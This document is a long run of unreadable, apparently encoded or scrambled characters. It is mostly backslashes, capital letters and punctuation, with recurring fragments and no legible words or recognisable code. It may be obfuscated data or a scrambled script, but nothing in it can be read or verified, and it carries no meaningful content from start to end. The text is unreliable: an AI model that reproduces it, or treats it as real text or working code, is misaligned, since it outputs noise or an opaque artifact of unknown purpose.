NNU\\\ZZ\\LJI#TXD
NNUU\\\\	KOM#TXD
NNP\\\\\\TLMKWLJUP\\\	UGv\\\\\\\\T<LLIN	TMHOUTXD
NNU\\\\\ZZ\\\<
JNTMHMUTXD
NNUU\\	\\\\\XD
NNGv\vv\X
EDKD\\\A\\
JNTMMUTEIITUUGvv\\T<
JNTMHMUTX
EDKDU\\\\ZZ\\X
EDKD\\]AA\\\#E
HNETUU\	\\X
EDKDGv\\TTLLIN	TMHHUU\\\\ZZ\\\<#JO
TMHIUT+,#?32(92(#85.U\ZZ\\\\\\LJI#T+,#?32(92(#85.UU\\\\	\+,#?32(92(#85.Gvvv\	\XJEI#HGv\\\\v	\NOLJJTUv\\\\v\TTE#
NMNMTMHHUU\\ZZ\\<LLIN	TMHJUT+,#?32(92(#85.U\\\\\ZZ\LJI#T+,#?32(92(#85.UU\\	\\\\\+,#?32(92(#85.GvvvXEJMJL\A\#JO
TMMUTEIITUUGv\\\TLJI#TXEJMJLUU\\\	\\\XEJMJLGv\\\\	\\\\+,#?32(92(#85.Gvvvvv\\\\\\v\	\#DIDE	
TXMIUv\v\\\\\\TTX;03>=0/'
JNTMHKU!U\\\  \\]E#
NMNMTKNUTX;03>=0/'#JO
TMHKU!UU\\\	\\\Gv\\\\\\TTX;03>=0/'
JNTMHKU!'XMI!UU\	\\	GvX#HNHHEH\\\A\LLIN	TMOKUTLLIN	TEDUU\\\C\\<
JNTEDUTXMIU\\F\\\\\Gvv\\	\\\\TX#HNHHEH\\\\\]AA\\\\ZZ\\\TX;03>=0/'E#
NMNMTMHKU!'X#HNHHEH!UUGv\\\\\\\v\\	\EI
TXMIUv\\\v\\\\\\TTX;03>=0/'#JO
TMHDU!U\\\  \\\]#JO
TKNUTX;03>=0/'LLIN	TMHEU!UU\\\	Gv\\\\\	TX;03>=0/'LLIN	TMHEU!'XMI!UGv\\\\X#HNHHEH\\A\\\\E#
NMNMTMOKUT
JNTEDUU\\\C\\\\\<
JNTEDUTXMIU\F\\Gv\\\\\\TX#HNHHEH\]AA\\\\U\\\	TX;03>=0/'
JNTMHEU!'X#HNHHEH!UGv\\\\\\\\v	\\\\LMD	OTXMIUvv\\\\\\\\\\T]TX;03>=0/'E#
NMNMTMILU!U\\\  \\]#JO
TKNUTX;03>=0/'#JO
TMIMU!UU\\vX;03>=0/'E#
NMNMTMIMU!\A\\\TUGv\vXELK#\\\\A\\E#
NMNMTMOKUTE#
NMNMTEDUU\\\C\<LLIN	TMINUTXMIU\\\F\\GvX;03>=0/'
JNTMIMU!'XELK#\\]AA\\\\\\C\\\\XELK#\\\\\F\\XMI!\A\XMIGv\\\\\\XO#LDL\\\\A\\Gv\\\\T]XO#LDLU\XDAQIKLGXMMATXDBLUCXDFQXDGv\\XO#LDL\\\A\\	Gv\\TLLIN	TMOKUT#JO
TMIOUUU\\
JNTMIHUT
JNTMIIUUGv\\\\\v\\vv	\#JHDDTUv\\\\v\\\\\\\TTX;03>=0/'E#
NMNMTMIMU!U\\  \]
JNTKNUTX;03>=0/'LLIN	TMIJU!UU\\\\v\\\\\\\	Gv\\v\\\\\TX;03>=0/'#JO
TMIKU!\\\\\\XHHMI#\\AB\\\\\\XKMMU\vSS\<	\Qvv\\\T]#JO
TMOJUTXKMMUU\\\\XKMM\A\\\\XHHMI#Gvv\\\\\TXHHMI#\\\\\AAA\\EIITU\  \XKMM\\\AAA\\\EIITUU\	Gv\\\\v\\\\T<LLIN	TJJUTXKMMUU\\v\\\\\\T#JO
TMOKUT
JNTMKUUU\\ODLTXKMMP\TONEWEMUUGv\\\\\\\TE#
NMNMTMOKUT#JO
TMIDUU\\ZZ\\NN#		TXKMMU\ZZ\\\\\\LLIN	TMIEUT#JO
TMJLUUU\\<#
TXKMMP\	UGv\v\\\\\T(\XKU\\\v\\\\\\\T9\XKU\vv\\\vvvv\\\\\\v\\\	\\LETUvv\\\\\v\XK\\A\\\\#JO
TMIEUTE#
NMNMTMJMUU\\\\C\<##TU\\F\\	Gv\\\\\\\\\T]E#
NMNMTMJNUTXKU\  \\\\TXK'E#
NMNMTMJOU!U\  \\\TXK'#JO
TMJHU!UU\\\\	Gv\\\\\\\T]LLIN	TKOUTXK'E#
NMNMTMJIU!P\\\T9#9..3.P\9#,=./9P\\\\9#?3.9#9..3.P\\\\9#?31,509#9..3.P\\9#)/9.#9..3.UP\\\\	UU\	GvXNNOMM\\\\A\\\TXK'
JNTMJJU!U\C\TU\XK'E#
NMNMTMJJU!\\\\\\F\^^GX
J#KAKMMIGXN#EAX
J#KYKGv\\\\\\\\\TTXNNOMMP\\\#JO
TMJKUU\\\]AA\\\\\\\  \TXNNOMMP\\E#
NMNMTMJDUU\]AA\U\	Gv\XIE\\A\\\
JNTMIEUT#JO
TMINUU\\\C\\\<E#
NMNMTMJEUTEIITUU\F\\EIITUGvvvv\X#\\\\A\\E#
NMNMTMIEUT
JNTMKLUU\\\\\\C\\\<E#
NMNMTMKMUTXK'LLIN	TMKNU!U\F\XK'
JNTMKOU!Gv\\\\\\\T]E#
NMNMTMOJUTXIEU\\  \]LLIN	TMOJUTX#U\\  \X#\\\\]AA\\\\\\XIEU\\\\	Gv\\\\\\TTX;03>=0/'E#
NMNMTMKHU!UU\\\\vSS\
Q\vv\\\XLJNM\A\<
JNTIKUTEIITUP\\\\\P\	P\\\\\LP\THJKDQIDNUUGv\\\\\\\\\TLLIN	TMOJUTXLJNMU\\\\ZZ\\\\#JO
TKKUT#JO
TKDUP\XLJNMP\\X#U\ZZ\\\\X#'M!\\\\\\]AA\\TU\\X;03>=0/'LLIN	TMKHU!U\\\	G\v\	TXLJNMP\\\\\X#UGv\\TTX;03>=0/'LLIN	TMKIU!UU\\\\\v\\\\\\TE#
NMNMTMKJUT
JNTMKKUUU\\<T	P\\\\\EIITUUGv\\\XE	D
J\A\\\TU\\<
JNTDLUTEIITUU\\\R\\[F[\\R\\TU\\<LLIN	TKEUTEIITUUGv\TXE	D
J\\]AA\\\\TU\\X;03>=0/'
JNTMKIU!U\\\	G\v	TXE	D
JUGv\\v\v\\\\\\\XLN
L\A\\\LLIN	TMNUTEIITUP\
JNTKLUUGv\XIINKJ\\\A\
JNTILUT#
	TTU\\\<#JO
TMKDUTEIITUUUUGvvv	OOEHT
JNTMMUTEIITUU\\\R\
JNTMKEU\\R\\\XLN
LP\\\XIINKJP\\[[UGv\\\\TXIINKJ\\\\]AA\^^U\\v\\\	OOEHT
JNTMMUTEIITUU\\\\\\R\\\\E#
NMNMTMDLU\\R\\\\\\XIINKJP\TU\\\LLIN	TMDMUTUP\\\[[UGv\TE#
NMNMTMKJUTLLIN	TJEUUU\vSS\5\F\	Q\Q		vv<	#T#JO
TMDNUP\\\XIINKJ\\\\\R\\\\\[ [\\\\\\R\\E#
NMNMTMDOUTUP\\
JNTMDHUUGv\v\\\\\v\\\XKD	KO\\A\\\#E
HNETUGv\\\\\\\TXKD	KO\\\]AA\\
JNTMMUTEIITUU\\\\ZZ\\\<LLIN	TMHOUTXKD	KOU\\ZZ\<LLIN	TMDIUTXKD	KOUU\v	OOEHTXKD	KO\R\
JNTMKEU\R\XLN
LP\\\\\\XIINKJP\[[UGv\\\\\v\\\TE#
NMNMTMKJUT
JNTMDJUU\\\ZZ\#JO
TMKJUT
JNTJEUUU\\X#
NO
AQJIGX

HDOATX#
NO
BLUCX#
NO
FQX#
NO
Gv\XD	ILMM\\\\A\#T#JO
TKHUP\\\TUUGv\\T
JNTMJNUTXD	ILMMU\\\ZZ\\
JNTMDKUTM	#JND#TUP\\XD	ILMMP\\\\\	UU\\\\v<	#T
JNTKHUP\\\\E#
NMNMTKIUTE#
NMNMTMDDUTXD	ILMMP\\TM	#JND#TUUUUUGv\\\\\\\vvv#E	E	T#JO
TMDEUUGv\XE\\\\\A\\\EIITU\\R\E#
NMNMTMELUGv\\\\\\\TLLIN	TMEMUTLLIN	TNLUUU\<#JO
TNLUTEIITUP\\XEUGXMHKAKHVNGXJD
AXMHKQOIGvv\\\\\\\\T#JO
TMEMUTE#
NMNMTMJLUUU\\v<#
TEIITUP\	UGvvvv\\\\\\\<#
TXEP\\\\	UGv\\\v\\\\\\TT
JNTMENUTXEUP\\\\#E
HNETUU\\XJEMDEU\\vXE
\A\\\\\MHTXJEMDEUGv\\\\\\T]#JO
TMEOUTXE
UU\\	Gv\\\\TXE
\\\XNEDKJU\v\\T
JNTMEHUTXNEDKJP\\\\\QTH@@MUU\\]AA\\\E#
NMNMTMEIUU\\\\\\	GvvvvXDL\\\\A\XJEMDE\\\\\\R\\[S[\R\\\XNEDKJGv\XHKKOKN\\A\\\\\<E#
NMNMTKEUTXDLUGv\\\TXHKKOKN\\\ZZ\XHKKOKN\\\@\\\\\LLIN	TMDOUTU\\\\Q\\\TELLKMKQNEIEMKUU\\\vv\\\ODLTXDLP\\\TILHQDHUUGv\\NN#		TXDLUGv\vv\v\\\\\vv\\	TXJEMDEP\\\XE
P\\\XNEDKJP\\XDLP\\\\\XHKKOKNUGv\\\\\\\\T(\\X
DIU\\vvv\\\\\\\T9\\\\X
DIU\vvv\\\	\\LHN	TXMIP\\\\X	HKUv\vvv\v\\T]LLIN	TMOJUTXMIU\\\\\  \\XMI\\\\AAA\\\\^^\\  \\\]
JNTMOJUTX	HKU\  \\\\\X	HK\\AAA\\\\^^U\\\\\	Gvvvv\XJEI#H\A\\
JNTMENUTXMIUGv\\\\\\\T]<E#
NMNMTMHOUTXJEI#HU\  \]<E#
NMNMTMDIUTXJEI#HUU\	Gv\\\\\XI	NDMJ\\\\A\\\\XJEI#H\\\R\\\\LLIN	TMEJU\\\R\#JO
TMNUTXMIP\LLIN	TKLUUGv\\\\X#O\\\\A\<#JO
TMKDUTXI	NDMJUGv\\\\\\TLLIN	TMOJUTX#OU\\\\ZZ\\#JO
TKKUTE#
NMNMTMEKUP\X#OP\XNNOMMU\ZZ\
#TXNNOMM'L!P\\X	HKP\\#JO
TMEDUUU\\\\	Gvvv\\\\T#JO
TMEMUTE#
NMNMTMEEUUU\\<
JNTMEEUTXI	NDMJP\\\\X	HKUGvv\\\\\\\\\\T(\\XKU\\v\\\\\T9\XKU\\\\vvv\\\\vv\\\\\\\\	\\OJITUvvvvv\\\\\\v\\\\\T]
JNTMEMUT#JO
TMDJUUU\\v	Gv\\\v\\T<#TLLIN	TNLLUP\LUU\v
DT#JO
TNLMUP\#JO
TNLNUP\\LUGXIATLEDWLIUGX#JAXIYKGv\v\\T]
EKMLTLLIN	TNLOUUU\	Gvvvvv\\\\\\XJNK\\\\\A\\\\\
JNTMEHUT
JNTNLHUT=>/,=(4\R\\\\TU\\\MHEHTUUP\LP\\\\TDWHUUGvvv\XJMJM\A\\\\\\TU\\\\\<#TXJNKP\\^^UGv\\\X
KLLD\\A\E#
NMNMTNLIUGv\XO
#NJNJE\\\\\A\\^^Gv\\vvXHE
E\\A\\\
T
DJMTUUGv\\XKO\\\A\\\\E#NDNTUGvXL	
	H
\\A\XKO\\\\\\R\\[ [\R\\\\\\XHE
EGvv\\\\T
JNTMLLUTXJMJMP\[ [U\\]AA\\\\\\U\\\v\XIEJN\\A\#JO
TNLJUT[ [P\\XJMJMP\\\\\NUGv\\X
KLLD\\\\\A\XIEJN'L!Gv\\XO
#NJNJE\\\A\\\XIEJN'M!G\\\\v\\\\v\v\XO
#NJNJE\\\\\A\\\\XJMJMGvvv\\\vv\\\\\\\\\T]XO
#NJNJEU\\\v<	#TXJNKP\\XL	
	H
P\\E#
NMNMTNLKUUGv\	Gv\\vv\\\\\\\\TXO
#NJNJE\\AAA\\\XHE
EU\\v\\TXJMJM\\\\\]AA\\\\\XL	
	H
\\\\ZZ\\
#TXKOP\X
KLLDP\\\
JNTMEDUUU\\vv\\<	#TXJNKP\\\\XL	
	H
P\LLIN	TNLDUUGv\\vv\\\\\	Gvvv\\\\vXDHDJ\\\\\\A\\\\
TXO
#NJNJEUGv\\\TXDHDJ\\\\\AAA\^^\  \\\\\\#JO
TMNUTXDHDJU\\\]AA\\\\XDHDJU\\\\\\v\\\<	#TXJNKP\\\XL	
	H
P\\\E#
NMNMTNLDUUGv\\\\\\	Gv\\\vvvv\\\XMDNJI#\\\A\\#E
HNETU\\R\\\\\[S[\\\R\XDHDJGvXH#J\\\A\\^^Gvvvv\\\\\\\TT#JO
TJUUU\\\\\\v\\\XH#J\A\\+,#,0);52#85.\R\\\\[S[\\\\\R\\\\\\#JO
TNLEUTXDHDJP\,=(452:3#:5092=19U\\R\\\\\[S[\R\\\\\\XDHDJGvvvv\\XDI

\A\\<E#
NMNMTNMLUTXMDNJI#UGv\\\XEK
O\\A\\\\\XDI

\]AA\\\\\ZZ\XDI

\\\BA\\\TLMLWLNUGv\X
	LDO\\A\\XH#J\C\\\\<#JO
TNMLUTXH#JU\\F\\Gvvvv\XOKLOO\\A\\\\X
	LDO\\\\]AA\\\ZZ\\\\\X
	LDO\\\\BA\TEDLOQHDLOUGvvvv\\\\\\\\T]XEK
O\\ZZ\\\\]XOKLOOU\\vSS\+,\	5>,\	\vv\\\<	#TXJNKP\\\\XL	
	H
P\LLIN	TNLDUUGv\\	Gv\\\v\\\\\X		#H
\\A\\\\XEK
O\C\\XMDNJI#\\\F\\XH#JGvvvXI#MKE\A\\<#JO
TNMMUTX		#H
P\\\\P\\\\\	P\\\\\LP\\TLDIWLKLUUGv\\\\\\\\T#JO
TMOJUTXI#MKEU\ZZ\\\
JNTKKUTLLIN	TNMNUP\\\\XI#MKEP\\X#UU\\\v\\X
KLLD\\A\X#'M!Gv\\\\\\TIND#TX		#H
P\\\TLMODIWLOUUU\v\\\X
KLLD\A\\LLIN	TNLIUGvvvSS\	\vvv\\	TXI#MKEP\X#UGv\XLLE\\A\XEK
OGv\\\T]XLLE\ZZ\\\XOKLOOU\\\vXML
\\\\\A\
JNTNMOUTXDHDJP\\\\\,=(452:3#:5092=19U\\\\\R\\[S[\\\\\R\\\\XDHDJGvX
MO
I\\A\\\\TU\<#T
JNTNMHUP\\\\\TUUGv\\\\\\\\XLLE\A\\\\
JNTMDKUTXML
P\\X
MO
IP\\\	UGv\\\T]XLLE\\\\\ZZ\\\\#JO
TMEMUTE#
NMNMTNMIUU\\ZZ\\\\#	TU\\\\\ZZ\\\\\LLIN	TMEMUT
JNTNMJUUU\v\\\\\X
LJN\\\\\A\\TU\<##TLLIN	TNMKUP\\TUUGvXLLE\A\\\\\TX
LJN'XML
!UGvvvv	TX
LJNUGv\\v\\\\\	TXML
P\\\\X
MO
IUGv\\\v\\\X#

DH\\A\\
#TXKOP\\\X
KLLDUGv\\\TX#

DH\\@A\\\\\\LU\\v\\\XNJ
\\A\\\IND#TX		#H
P\TLKDWLHMLUUGv\\\\\\X#D#\\A\\\TU\<LLIN	TNMLUTX		#H
UGXAIHVJGXN
M#AXQHNGv\\XMODL
\\A\\\T]XNJ
\\\\  \\\\\\X#D#\\\\B\\\\\TINHNDKOLWKLUUGv\\\\\T]XMODL
\ZZ\X#D#\\B\TONHEDWMLMJLKDUU\\\v\X\\\\A\\\<LLIN	TNMMUTX		#H
P\\P\	P\\\\\LP\THLEHWNUUGv\\\\\T]E#
NMNMTNMDUTXU\  \\]#JO
TKKUT#JO
TNMEUP\XUU\\\XMODL
\\A\\	Gv\\v\\\\\T]XMODL
\ZZ\\\]DH#M
TX		#H
UU\XMODL
\\\A\\\	Gv\\\\\T]XMODL
U\vvvv\\XDDLDE\A\\\
JLKDNEJTUGv\\\\\T]TXDDLDE'#JO
TNNLU!UU\v\\X#KI	\\\\A\<E#
NMNMTMKMUTXDDLDE'LLIN	TNNLU!UGv\\\\\\\\XLODDLON\\\A\\\<E#
NMNMTMKMUTX		#H
UGvvv\T#JO
TNNMUTX#KI	U\\\\\ZZ\\E#
NMNMTNNNUTXLODDLONU\\ZZ\X#KI	\AAA\\XLODDLONU\v\XHD\A\\\\\DODTXDDLDEUGv\\\\\\\\\\\\\TXHD\AAA\\E#
NMNMTNNOU\\  \\\XHD\AAA\\LLIN	TNNHUU\\\\XMODL
\\\\A\	Gv\vvvv\	TX#KI	P\\XLODDLONP\\\XHDUGv\v\\\\T]XMODL
\\\\\ZZ\\\JEJ#NDTX		#H
UU\XMODL
\\A\	Gv\	TXDDLDEUGv\\\\\v\\\TXMODL
U\v\\\\TXNJ
U\\LMD	OTX		#H
UGv\\<	#TXJNKP\\\XL	
	H
P\\\\\\#JO
TNNIUUGv	Gv\\v\\\\T]XLLEU\\\vv\\\\\\\\<	#TXJNKP\XL	
	H
P\\#JO
TNNJUUGv\\\\\\\	Gvv\\v\\\LHN	TEIITUP\X
KLLDUGvv\KMLTEIITUUGv\\	\\\\	Gvv\\\v\\\\TTX;03>=0/'#JO
TNNKU!UU\v\\\\\\X;03>=0/'E#
NMNMTNNKU!\A\\\	Gv\\\\vv\\\TIND#TX		#H
P\\\\\\TMMKOWODNKUUU\\LMD	OTX		#H
UGv\\\\\\\XHN\\A\LLIN	TMDOUTUGv\	J	LOO
NTEIITUP\\\\TXHN\Q\\\TXHN\\Y\TLMIWLMJKHOUUU\\\W\\\\\MHEHTUUGv\	TXHNUGvvv\LHN	TXMDNJI#P\\XKOUGv\\\\\TXH#JU\\\\\\LHN	TXH#JP\XKOUGv\
DT
JNTNNDUP\\\E#
NMNMTNNEUP\\\\LUGv<	#TXJNKP\\XL	
	H
P\\\\#JO
TNNJUUGvvvv\\\\#E	E	T
JNTNOLUUGvvvvvv\\\\\TXH#J\]AA\\^^\\\\ZZ\\\\\\LLIN	TNOMUT#JO
TJEUUU\\v\\\\\\XL#
M\\\\A\\#JO
TNMOUTXDHDJP\,=(452:3#:5092=19U\\R\\\\[S[\\\\\R\\XDHDJGv\\\\\X
MO
I\\\\\A\\<#TE#
NMNMTNMHUP\TUUGv\\TE#
NMNMTMEOUTX
MO
IU\\\ZZ\LLIN	TMDKUTXL#
MP\\\\X
MO
IP\\\\	UU\\\v\\\\\\\\<	#TE#
NMNMTNMHUP\#JO
TKIUT
JNTNONUTX
MO
IP\TXL#
MUUUUGv\\v	TXL#
MP\X
MO
IUGvv\\v\\\	Gv\\\\\\\T(\\\XKU\\v\LHMMJKTLLIN	TNOOUP\XKUGv\\\\\\\T9\\\XKU\\\vvvv\\\\\vODOM	ETLLIN	TNOHUUGv\\\\\v\v\\\\	\MHTXJEI#HUvvvv\\\vSV\Q\\VSvv\\\\T#JO
TNOIUTLLIN	TNOJUU\\ZZ\#JO
TNOIUTE#
NMNMTNOKUUU\vvvv\\\XJMKD\\\\A\\\<E#
NMNMTNODUTXJEI#HUGv\\\TXJMKDU\\XLLATLEEWLHUGXE#AXLLYDGv\\XEMM

\\\\\A\TUGvvv\\\\TTXK\\\\\\A\<
JNTNOKUTXJMKDUU\\]AA\\U\\\v\\\\\\\\TXK\]AA\[R[\\ZZ\\XK\\]AA\\LLIN	TNOEUU\XEMM

'!\A\XKGv\\\\vv\\\\\\\TE#
NMNMTNOIUTLLIN	TNHLUUU\<LLIN	TNHMUTXJMKDUGvvvv\	\\\\\\XEMM

GvvSV\Q\Q\VSvv\v\T
JNTNHNUT
JNTNHOUUU\v\\XLOMOE\\\\\A\<E#
NMNMTNHOUTXJEI#HUGvSS\.\	Q\\((0vv\\\\\\\\\\T#JO
TMEOUTXLOMOEUU\	\\#JO
TNHHUT#JO
TNONUTXLOMOEP\T[R[P\\\\#JO
TNOEUUUUGv\\v\T
JNTNHIUTLLIN	TNHJUUU\v\XOE#\\\A\<E#
NMNMTNHJUTXJEI#H\\\\R\E#
NMNMTNHKUUGv\\\\T
JNTNHDUTXOE#UU\\\\	\\LLIN	TNHEUT#JO
TNILUP\\\XOE#UGvvvv	\\\	Gvvvv\\\\vvv\	\\LEIOTXLN	LI
Uv\\\\v\\\T]
JNTNNNUTXLN	LI
U\  \\\LLIN	TNIMUTXLN	LI
P\\\\\
JNTNINUU\\\AAA\\\U\\	\\Gvvvv\\\\TE#
NMNMTIHUTXLN	LI
U\\B\TMIEHJHJQIHJLKLUU\XLN	LI
\A\#
	TXLN	LI
UGv\\\\\\\\TLLIN	TIHUTXLN	LI
U\\\B\\\TMLHDIKMWIUU\\	\Gv\\\T]E#
NMNMTNHIUT
JNTNIOUUU\\\\	\\\\\\	Gv\\\T]T#JO
TNIHUUU\\\v\XKOE\\A\\\\<##TXLN	LI
UGv\\\\\\\T]LLIN	TNIIUTXKOEUU\\\\	\\\\	Gv\\XLD		\A\\\\LGvvvv\\\TXKOE\\\\\X	OKHKJU\\v\\\\\\\\\T#JO
TNIIUTX	OKHKJUU\\v\\\\\TX	OKHKJ'L!\\AAA\\\\\\(#?).0%#3,92\\\\  \\X	OKHKJ'L!\\\AAA\\\\\(#8300=.#3,92#?).0%#>.=?9/U\XLD		WWGv	Gv\\\v\\\\\\\TX	OKHKJ\\\\AAA\\\[[U\XLD		WWGv\\TX	OKHKJ\AAA\\\[[U\\vXLD		QQGv\\TXLD		\@\\\LU\\	\\Gv\vv\\v\	\\\XLD		\\\AAA\\LGv\\\v\\v\\\\<##TXLN	LI
P\\\\(3792#,=./9UGv\\	\\	Gv\\\T(\\XKU\\v\	\\\\Gv\\\\\\\\\T9\\\XKU\\\\v\\\\	\\\\\Gv\\\\\\\v\\v\\\	\\\H	J	MINTUv\v\	\T#JO
TNIJUP\\\\
JNTNIKUP\\
JNTNIDUUGvv\\\\\\	\LO#KTUv\\\\\\\vvv\\	\\T
JNTNIEUP\\\\E#
NMNMTNJLUP\\\#JO
TNJMUP\\\LLIN	TNJNUP\LLIN	TNJOUP\\LLIN	TNJHUP\
JNTNJIUP\\\\
JNTNJJUP\\\#JO
TNJKUP\\\\
JNTNJDUP\
JNTNJEUP\\\#JO
TNKLUP\E#
NMNMTNKMUP\\#JO
TNKNUP\\
JNTNKOUP\E#
NMNMTNKHUP\\\E#
NMNMTNKIUP\
JNTNKJUP\#JO
TNKKUP\\E#
NMNMTNKDUUGvv\\\\v\\\\	\\\\LKKHJ	
OHTUvv\\\	\\\T#JO
TNKEUP\
JNTNDLUP\LLIN	TNDMUP\\\\\#JO
TNDNUUGv\\\\\\\v\\\v\	\EJ	DTX#IDKUv\\\\v\\\\\TE#
NMNMTNHIUT#JO
TNDOUUU\\	\\TX#IDKP\\TIWHUUGv\\T
JNTNHIUTLLIN	TNDHUUU\\vSS\,4,\?/\:\\vvvvv\\	\\\\^ M D LD LL LL LL LL LL LL LO^\\R\\TX#IDKP\TMKQDUU\\R\#JO
TNDIUT[*[P\\LLIN	TNDJUTX#IDKUU\R\\\#JO
TNDIUT[*[P\LLIN	TNDKUTX#IDKU\\\\Z\THNEHEJKNNNWKOUUGv\vvvv	\X#IDKGv\\\\v\\\\\\	\\
#
LK#DTX#IDKUvv\\v\\\\\\\T]#JO
TNNNUTX#IDKU\\\  \LLIN	TNDDUTX#IDKU\\@\NU\	\\X#IDKGv\\\\\T#JO
TMEHUTX#IDKP\\\\LP\\NU\]AA\\\\^ M D^U\\\	\\\X#IDKGvvv\\\TE#
NMNMTNDEUTX#IDKU\\@\\\\\TE@@MUU\\\	\\\Gv\XDM
KK
\A\<LLIN	TNELUT[*[P\#JO
TMEHUTX#IDKP\\\\\QTDQHUUUGvXDM
KK
\A\\E#
NMNMTNEMUTXDM
KK
U\C\XDM
KK
'M!\\F\\LGvvv\\\\\\\\\TXDM
KK
\\@\\\\THMNWDDU\\  \\XDM
KK
\\B\\TMLHDIONWHHUU\\\	\Gvv\\\\T#JO
TNHIUT#JO
TNENUUU\\vvvXHELI
\A\\<TX#IDKP\\\\\TMLMJNKMWONOLIUUGv\\\TXHELI
\\]AA\\U\\\\	\XHELI
Gv\v\\\\TE#
NMNMTNHIUT
JNTNEOUUU\\\\\vXHELI
\A\\\<T#JO
TMEHUTX#IDKP\\\\\\TNWDUP\
JNTNDEUTX#IDKU\Q\\TLMWLMMUUP\\TMLHDHKEWEKUUGv\\\\\\	\TE#
NMNMTNEHUTXHELI
U\\\ZZ\
JNTNDEUTXHELI
U\\\\@A\\\\\\TMLHDHEIWDMUU\\C\XHELI
\\\\F\\\Gvvv\	\\\\Gv\v\v\\T]\E#
NMNMTNHIUTLLIN	TNEIUUU\\\\v\	\\\\NTXL	
MNUv\v\\\\T]\\\\\LLIN	TNEHUTXL	
MNU\  \\E#
NMNMTNDEUTXL	
MNU\\\Y\\\\\N\]AA\\LU\\v	\\Gvv\\	\\LLIN	TNEJUTLLIN	TNEKUP\XL	
MNUGvvvvvvv\\\\\\vvv\\\\\\vv	\
O

TUv\\\\v\X#N
MI\\\\A\\\TUGv\\\\\\\XEH#I	JH\\\A\\T=>/,=(4P\\=>/,=(4\R\LLIN	TNEDUP\\\=>/,=(4\R\\#JO
TNEEUUGXM
AMIK NMHGXID	H

AXM
"JOGv\\\TTE#
NMNMTOLLUUU\XEH#I	JH'!\\\A\\\+,#?32(92(#85.\\\R\[S[Gv\\\\\\\\\TXEH#I	JH\\XHELI
U\\v\\\\\\\\XIOK#M\\\\A\\E#
NMNMTNHIUT#JO
TOLMUU\\\C\<#JO
TOLMUTXHELI
\R\\\
JNTOLNUU\\F\\Gv\\\\\\T#JO
TOLOUTXIOK#MUU\\v\\\TXIOK#M\\\\\X	
HEILU\\\\\\v\\XOK#IE#\\\A\\<
JNTKEUTX	
HEILUGvvvv\TXOK#IE#\\ZZ\\\\XOK#IE#\\\B\\\\TEHJJDHKJNWODUU\\vvvX#N
MI'!\\A\\\\XOK#IE#GX	MO	ANOO MKEGX
EMD	#AX	MO	"NMDGv\\\\\\\v\\\\\\vv\vvvv\\\\\\\\T]TX#N
MIUU\\v\\\\\X
JIM\A\\\\X#N
MI'E#
NMNMTOLHUTX#N
MIU!Gv\\\	\\TX
JIM\\\\Q\\\TX
JIM\\Y\\\\\\TMLJWEEDEHUUU\\W\MHEHTUGv\v\X	JN	J\A\LLIN	TMDOUTU\\Q\TTOHOWNNU\\\\V\\\TLMJWLNU\\V\TLENOWLHUUGv\\vv\X#MEJOMH\\A\
JNTNHIUTLLIN	TOLIUU\\C\#TLP\TNNWDU\V\\TMOWMMU\V\TOIONWJDUU\F\\\E#
NMNMTOLJUTLP\\\\\TNHWJU\V\TMWNOU\\\\\V\\TOKOJQMOJUUGv\\X
JIM\\\\A\X	JN	J\\\\\Q\\\X#MEJOMHGv\\\\\\vv\\\\\	\\\\\TX
JIM\\\\\Q\TX
JIM\\\\\Y\\\\\TLMENWLMDILUUU\\\\\W\MHEHTUGvv\\\\\\v\	\\
KEEEDTXOINLOLP\\\XMOM
#IP\X#	LOOO\\A\\\\	Uv\v\\X	L
K#J\\\\\A\\	\TXEDNLU\\\	\\\\\TX#	LOOOU\\v\\\\\T]#JO
TOLKUTXEDNLU\\  \\XEDNL\AAA\\\\\\^^U\	\\Gvvv\\\\\TLLIN	TNDEUTXEDNLU\\\\B\\\\\TDODDIKEWNEUU\\	\\Gv\\\\TX#	LOOOU\\\\\v\\\\vvvv\\\\	\\\TU\\\
JNTOLDUTX#	LOOOP\\\\\XEDNLUGvvv\\\\\\\T(\\\\XKU\vvv\	\\\\Gv\\\\\\\T9\XKU\\\\\\v\\\\	\\\Gvv\\\\\\v\\	\	Gv\\\\\\GvX	LHK\\\A\\E#
NMNMTNHIUT#JO
TOLEUU\\\\C\\\<
JNTOLEUTXOINLOLP\\\\Tv\#JO
TOMLU\\\AB\\\XMOM
#IPv\\\LLIN	TOMMU\\AB\PvLLIN	TOMNU\\\\AB\TMIKJLJLHQKOKMEEJUPv\\\\\\\UU\\\F\Gv\\\\TX	LHK\\ZZ\\\T]
JNTNHIUT
JNTOMOUU\\\\\  \]##TX	LHKUUU\v\\\\\TTU\##
##TX	LHKU\\\\\AAA\\TNHMQHMUU\\vvXM	\\A\##
#TX	LHKUGv\\\\TX	L
K#JTXM	UU\\\	\\XM	Gv\v\\\\\\v\\\\TE#
NMNMTOMHUTE#
NMNMTOMIUU\ZZ\LLIN	TOMHUTE#
NMNMTOMJUU\ZZ\LLIN	TOMHUT
JNTOMKUUU\\v\\\\\\\X	JM	#\\\\A\<LLIN	TOMIUTXOINLOLUGv\\\TX	JM	#\\\\AAA\U\\	\\\\Gv\\\<#JO
TOMJUTX	JM	#P\TvTE#
NMNMTOMDUU\\\\AB\\\\\	Pvvvv\\\\\\\TE#
NMNMTOMEUU\\\AB\\XMOM
#IPv\\\\\\TE#
NMNMTONLUU\\\\AB\\\Pv\TLLIN	TONMUU\\\\AB\LPvvvv\\\TE#
NMNMTONNUU\\AB\PvT#JO
TONOUU\\AB\\	\TX	LNJP\\\\\XN
#OP\\\\XELN	J#U\\\\\\	\\XELN	J#\\\B\\TIJIJNLWKDNNEDDU\\\\C\\\\\\M\\\\F\LG\\\\\PvUUGv\\X
O\\A\<#JO
TOMKUTX	JM	#UGv\\\\\XE\\\A\\\\\<	#TX	JM	#UGv\\\\\\\X	##\A\<	#TX	JM	#UGv\\<	#TX	JM	#UGv\\\\\\\\TXEU\\	\\Gv\TTU\\\X	##'LLIN	TONHU!\\\AAA\\\TNJ"NMLU\\ZZ\\X
O\\\\\\]AA\\ZZ\\X	L
K#JTX
OUU\\\\\\vvvv	\\\X
OGv\\\\\\\v\v\\\\\\\	\\Gvvv\\vv\\\\\	\\
ENNKTXOINLOLP\X
KIKHMP\\\XH
LKJP\\XMOM
#IP\\\X#	LOOO\\\A\\	UvvX	L
K#J\\\\A\\\\\	\TXEDNLU\	\\\TX#	LOOOU\\vv\\\\T]#JO
TOLKUTXEDNLU\\\  \\\XEDNL\\\\\\AAA\^^U\\	\\\Gv\\\TE#
NMNMTONIUTXEDNLU\\B\\\\\TDODDINHWDHUU\\	\Gv\\\TX#	LOOOU\\\\\vvv\\\\\v\\	\TU\\\
